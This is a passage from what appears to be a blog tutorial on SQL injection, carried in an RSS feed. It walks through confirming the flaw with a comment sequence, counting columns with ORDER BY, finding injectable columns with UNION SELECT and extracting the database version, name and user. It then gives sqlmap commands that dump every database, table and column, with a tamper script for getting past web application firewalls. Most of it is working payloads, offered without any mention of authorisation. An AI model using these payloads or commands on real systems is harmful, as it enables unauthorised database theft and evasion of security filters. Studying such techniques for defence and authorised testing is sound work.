Blind SQL Injection:</strong></p><ul><li>Append a comment sequence like &#39; --+ to check if the query execution is manipulated.</li><li>{ <a href="https://example.com/page.php?id=12--+">https://example.com/page.php?id=12&#39; --+</a>- }</li></ul><p>If this modifies the page response, it confirms <strong>Blind SQL Injection vulnerability</strong></p><p>Once a vulnerability is detected, we can proceed with different exploitation techniques. 🚀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hKdH9UjX3pTJVIwOnFwRVQ.png" /></figure><h3>Exploiting SQL Injection After Confirmation</h3><p>Once we have confirmed that the web application is vulnerable to SQL Injection, we can proceed with exploitation.</p><h3>Step 1: Determine the Number of Columns</h3><p>To find the number of columns in the database, we use the <strong>ORDER BY</strong> statement:</p><pre>https://www.example.com/page.php?id=12&#39; ORDER BY 4 --+-</pre><p>➡️ If the page loads successfully, it means the database has at least <strong>4 columns</strong>.<br> ➡️ If an error occurs, reduce the number (e.g., ORDER BY 3) until it works.</p><h3>Step 2: Identify the Vulnerable Column</h3><p>Now, we use the <strong>UNION SELECT</strong> statement to find which columns are vulnerable to SQL Injection:</p><pre>https://www.example.com/page.php?id=12&#39; UNION SELECT 1,2,3,4 --+-</pre><p>➡️ If any number is displayed on the page, that column is injectable.</p><h3>Step 3: Confirm Data Extraction</h3><p>To verify if we can extract database information, we add a negative sign (-) before the ID value:</p><pre>https://www.example.com/page.php?id=-12&#39; UNION SELECT 1,2,3,4 --+-</pre><p>➡️ If it displays 2 on the page, it means <strong>column 2 is vulnerable</strong> and can be used to extract data.</p><p>Now, we replace 2 with SQL commands like:</p><pre>https://www.example.com/page.php?id=-12&#39; UNION SELECT 1,@@version(),database(),user(),3,4 --+-</pre><p>➡️ This will display the <strong>database version, current database name, and user you can use the commands one by one also.</strong></p><h3>Step 4: Dumping Data Using SQLMap</h3><p>Once we confirm SQLi, we can automate the process using <strong>SQLMap</strong>:</p><pre>sqlmap -u &quot;https://www.example.com/page.php?id=12&quot; --dbs --tables --columns --dump --batch</pre><p>➡️ This will <strong>list all databases, tables, and columns</strong>, then dump the data.</p><p>If the web application is protected by a <strong>WAF (Web Application Firewall)</strong>, we can bypass it using tamper scripts:</p><pre>sqlmap -u &quot;https://www.example.com/page.php?id=12&quot; --dbs --tables --columns --dump --batch --tamper=space2comment</pre><p>➡️ <strong>Tamper scripts</strong> help bypass security filters by obfuscating SQL payloads.</p><h3>Wrapping Up</h3><p>I hope you’ve learned something valuable from this SQL Injection tutorial! If you found this helpful and want more content like this, make sure to <strong>follow me here</strong> for future updates.</p><p>💬 <strong>Got questions?</strong> Feel free to reach out to me on <strong>Instagram: @xabit___</strong></p><p>Stay safe, keep learning, and happy hacking! 🚀🔓</p><p><strong>Bye-bye, take care!</strong> 👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f0195fe435d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>